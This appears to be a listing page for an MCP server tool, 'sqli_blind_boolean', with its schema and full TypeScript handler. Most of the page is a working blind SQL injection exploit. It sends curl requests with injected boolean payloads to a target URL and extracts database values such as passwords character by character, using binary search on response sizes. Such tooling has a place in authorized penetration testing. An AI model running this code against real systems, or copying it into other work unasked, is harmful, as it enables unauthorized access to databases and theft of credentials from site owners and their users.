sqli_blind_boolean
Extract data from databases using blind SQL injection with binary search character enumeration. This tool sends HTTP requests to determine true/false conditions and returns extracted values efficiently.
Instructions
Boolean-based blind SQLi with binary search character enumeration. Uses ASCII(SUBSTRING(...))>N technique with binary search for efficiency. Determines true/false by comparing response lengths. Returns extracted_value, characters_found, requests_sent. Side effects: Read-only. Sends ~8 requests per character (binary search on ASCII 32-126).
Input Schema
TableJSON Schema
| Name | Required | Description | Default |
|---|---|---|---|
| url | Yes | Full URL with injectable parameter | |
| parameter | Yes | Vulnerable parameter name | |
| query | No | SQL sub-query to extract, e.g. 'database()' or '(SELECT password FROM users LIMIT 1)' | |
| max_length | No | Maximum string length to extract |
Implementation Reference
- src/tools/sqli.ts:234-305 (handler)The handler function for 'sqli_blind_boolean' that performs binary search character enumeration using boolean-based SQL injection techniques.
async ({ url, parameter, query = "database()", max_length = 32 }) => { requireTool("curl"); const baseUrl = url.split("?")[0]; // First determine true/false response sizes const trueRes = await runCmd("curl", [ "-sk", "-o", "/dev/null", "-w", "%{size_download}", `${baseUrl}?${parameter}=' AND 1=1-- -`, ]); const falseRes = await runCmd("curl", [ "-sk", "-o", "/dev/null", "-w", "%{size_download}", `${baseUrl}?${parameter}=' AND 1=2-- -`, ]); const trueSize = /^\d+$/.test(trueRes.stdout) ? parseInt(trueRes.stdout, 10) : 0; const falseSize = /^\d+$/.test(falseRes.stdout) ? parseInt(falseRes.stdout, 10) : 0; if (trueSize === falseSize) { const errResult = { error: "Cannot distinguish true/false responses (same size). Blind boolean may not work here.", true_size: trueSize, false_size: falseSize, }; return { content: [{ type: "text" as const, text: JSON.stringify(errResult, null, 2) }] }; } let extracted = ""; let requestsSent = 2; // calibration requests for (let pos = 1; pos <= max_length; pos++) { let low = 32; let high = 126; while (low <= high) { const mid = Math.floor((low + high) / 2); const res = await runCmd("curl", [ "-sk", "-o", "/dev/null", "-w", "%{size_download}", `${baseUrl}?${parameter}=' AND ASCII(SUBSTRING(${query},${pos},1))>${mid}-- -`, ]); requestsSent++; const respSize = /^\d+$/.test(res.stdout) ? parseInt(res.stdout, 10) : 0; if (Math.abs(respSize - trueSize) < Math.abs(respSize - falseSize)) { low = mid + 1; } else { high = mid - 1; } } const charVal = low; if (charVal < 32 || charVal > 126) { break; } extracted += String.fromCharCode(charVal); // Early termination: check if we've hit end await runCmd("curl", [ "-sk", "-o", "/dev/null", "-w", "%{size_download}", `${baseUrl}?${parameter}=' AND SUBSTRING(${query},${pos + 1},1)=''-- -`, ]); requestsSent++; } const result = { extracted_value: extracted, characters_found: extracted.length, requests_sent: requestsSent, true_response_size: trueSize, false_response_size: falseSize, }; return { content: [{ type: "text" as const, text: JSON.stringify(result, null, 2) }] }; } ); - src/tools/sqli.ts:225-233 (registration)The registration of the 'sqli_blind_boolean' tool, including its schema definition using Zod.
server.tool( "sqli_blind_boolean", "Boolean-based blind SQLi with binary search character enumeration. Uses ASCII(SUBSTRING(...))>N technique with binary search for efficiency. Determines true/false by comparing response lengths. Returns extracted_value, characters_found, requests_sent. Side effects: Read-only. Sends ~8 requests per character (binary search on ASCII 32-126).", { url: z.string().describe("Full URL with injectable parameter"), parameter: z.string().describe("Vulnerable parameter name"), query: z.string().optional().describe("SQL sub-query to extract, e.g. 'database()' or '(SELECT password FROM users LIMIT 1)'"), max_length: z.number().min(1).max(100).optional().describe("Maximum string length to extract"), },